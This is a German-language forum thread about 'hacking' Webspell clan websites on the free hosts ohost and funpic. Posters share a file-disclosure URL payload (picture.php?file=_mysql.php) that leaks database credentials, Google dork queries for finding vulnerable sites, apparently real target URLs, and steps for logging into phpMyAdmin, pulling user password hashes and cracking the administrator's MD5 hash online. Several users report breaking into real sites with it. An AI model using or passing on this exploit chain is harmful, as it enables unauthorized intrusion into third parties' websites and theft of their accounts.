[b]Webspell Clanpage auf Funpic FTP "hacken"

http://thonic.th.ohost.de/picture?file=_mysql.php
http://marineinfantery.ma.ohost.de/p...ile=_mysql.php
http://teamholdstill.te.ohost.de/pic...ile=_mysql.php



Diese Seite ist leider nicht verfügbar.
Richte auch du Deine kostenlose Homepage beim kostenlosen Webspace bei ohost.de ein.


kA was ich falsch mach -.-

bei mir gehen die passwörter nirgendwo, nicht bei phpmyadmin und im ftp auch nicht

http://blackdiablo.bl.ohost.de/ der link geht gibt mir sorger die Pws

ust aber ich kann mich auf ftp nicht einlogen

ich weiss garnich was ihr hab!
das exploit funkzt bei mir perfekt!
habs bei 10 seiten versucht und bei 5 hats geklapt

Code:

---

inurl:ohost "Webspell"

---

oder

Code:

---

inurl:funpic "Webspell"

---

das müsste bei jedem funkzen!

Zitat:

---

Zitat von VANTANA-B

http://blackdiablo.bl.ohost.de/ der link geht gibt mir sorger die Pws

ust aber ich kann mich auf ftp nicht einlogen

---

das liegt daran das er nich das gleiche pw hat!
logge dich bei http://phpmyadmin.ohost.de ein und check die user datei!
dann haste schonmal den hash für alle die auf der page angemeldet sind!
der erste is der admin! gehe auf md5cracker.de und gib den hash da ein.
schon haste admin pw :wink:

nice tutorial... bei mir hats geklappt... n1

hab jez 5 bis 10 seiten probiert.. 0 funzen :(

lol ich habe es grade nochmal an 3 seiten aus langerweile ausprobiert...und hat geklappt!

gibst du einfach:

Code:

---

/picture?file=_mysql.php

---

am ende der url ein oder was?

Zitat:

---

Zitat von b!22!7

gibst du einfach:

Code:

---

/picture?file=_mysql.php

---

am ende der url ein oder was?

---

omfGGGGGG

Code:

---

picture.php?file=_mysql.php

---

du hast das php vergessen!

Ich hab es bei einer ausprobiert, klappt wunderbar, danke HaxXxor^^
MFG
Uncle Sam